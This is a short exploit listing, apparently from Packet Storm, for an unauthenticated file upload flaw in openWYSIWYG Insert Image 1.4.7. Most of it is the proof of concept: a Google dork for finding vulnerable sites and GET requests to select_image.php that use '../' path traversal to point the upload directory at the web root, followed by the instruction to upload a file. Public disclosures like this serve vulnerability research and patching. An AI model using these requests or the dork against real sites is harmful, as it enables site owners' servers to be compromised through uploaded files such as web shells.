openWYSIWYG Insert Image 1.4.7 Arbitrary File Upload

openWYSIWYG Insert Image version 1.4.7 suffers from a remote arbitrary unauthenticated file upload vulnerability.

MD5 | 740100de45e846df21c5ae89ee8513c2

Download

# Exploit Title: openWYSIWYG | Insert Image v1.4.7 / Unauthenticated File Upload
# Date: 2017-1-15
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Home : http://persian-team.ir/
# Tested on: Windows AND Linux
# Telegram Channel : @PersianHackTeam 
# Google Dork : inurl:/wysiwyg/addons/imagelibrary/

# POC :
 Unauthenticated File Upload
 GET /admin/wysiwyg/addons/imagelibrary/select_image.php?pos=1&dir=../../uploads/
 You Moust change path To Change Directory to public_html
 GET /admin/wysiwyg/addons/imagelibrary/select_image.php?pos=1&dir=../../../../
 then Upload You File

Source: packetstormsecurity.com